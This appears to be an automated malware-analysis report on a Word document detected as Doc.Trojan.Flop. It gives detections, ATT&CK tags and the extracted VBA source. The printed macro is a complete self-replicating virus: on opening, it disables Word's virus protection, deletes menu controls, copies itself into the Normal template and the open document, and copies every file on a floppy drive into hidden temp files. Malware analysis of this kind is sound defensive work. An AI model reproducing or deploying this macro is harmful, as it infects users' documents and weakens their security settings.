MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro, which is a common technique for executing malicious code upon document opening. The ClamAV detections 'Doc.Trojan.Flop-2' and 'Doc.Trojan.Flop-1' strongly indicate malicious intent. The VBA code attempts to disable security features and manipulate the Normal template, suggesting it aims to establish persistence or download further malicious content.
Heuristics 3
-
ClamAV: Doc.Trojan.Flop-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Flop-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9723 bytes |
SHA-256: 8eefb82fe525526994e72384e80590f6ef6f2a4235ef0496603e1ee55dc01955 |
|||
|
Detection
ClamAV:
Doc.Trojan.Flop-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'VBACopyFloppy
Option Explicit
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetTempFileName Lib "kernel32.dll" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
Dim i As Long, s1 As String * 256, s2 As String
On Error Resume Next
Application.EnableCancelKey = 0
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
CommandBars.FindControl(, 30017).Delete
For i = 1 To CommandBars(29).Controls.Count: CommandBars(29).Controls(1).Delete: Next
For i = 1 To CommandBars(9).Controls.Count: CommandBars(9).Controls(1).Delete: Next
For i = 1 To CommandBars(6).Controls.Count: CommandBars(6).Controls(1).Delete: Next
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, 1) Then
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents(1).CodeModule.CountOfLines)
NormalTemplate.Save
ElseIf ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 1) <> MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, 1) Then
With ActiveDocument
.VBProject.VBComponents(1).CodeModule.DeleteLines 1, .VBProject.VBComponents(1).CodeModule.CountOfLines
.VBProject.VBComponents(1).CodeModule.AddFromString MacroContainer.VBProject.VBComponents(1).CodeModule.Lines(1, MacroContainer.VBProject.VBComponents(1).CodeModule.CountOfLines)
If Dir(.FullName) <> "" Then .SaveAs .FullName, wdWordDocument
.Saved = True
End With
End If
If GetDriveType(Mid(ActiveDocument.FullName, 1, 2)) = 2 Then
s2 = s1
GetTempPath 256, s1
With Application.FileSearch
.FileName = "*.*"
.LookIn = Mid(ActiveDocument.FullName, 1, 3)
.SearchSubFolders = True
.Execute
For i = 1 To .FoundFiles.Count: GetTempFileName s1, "~~", 0, s2: CopyFile .FoundFiles(i), s2, 0: SetAttr s2, 7: Next
End With
End If
End Sub
' Processing file: /opt/analyzer/scan_staging/747a6d4506eb426dbafa3c71443747b0.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4693 bytes
' Line #0:
' QuoteRem 0x0000 0x000D "VBACopyFloppy"
' Line #1:
' Option (Explicit)
' Line #2:
' FuncDefn (Private Declare Function GetDriveType Lib "kernel32" (ByVal nDrive As String) As Long)
' Line #3:
' FuncDefn (Private Declare Function GetTempPath Lib "kernel32" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long)
' Line #4:
' FuncDefn (Private Declare Function CopyFile Lib "kernel32" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long)
' Line #5:
' FuncDefn (Private Declare Function GetTempFileName Lib "kernel32.dll" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long)
' Line #6:
' Line #7:
' FuncDefn (Private Sub Document_Close())
' Line #8:
' Line #9:
' EndSub
' Line #10:
' Line #11:
' FuncDefn (Private Sub Document_Ope
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.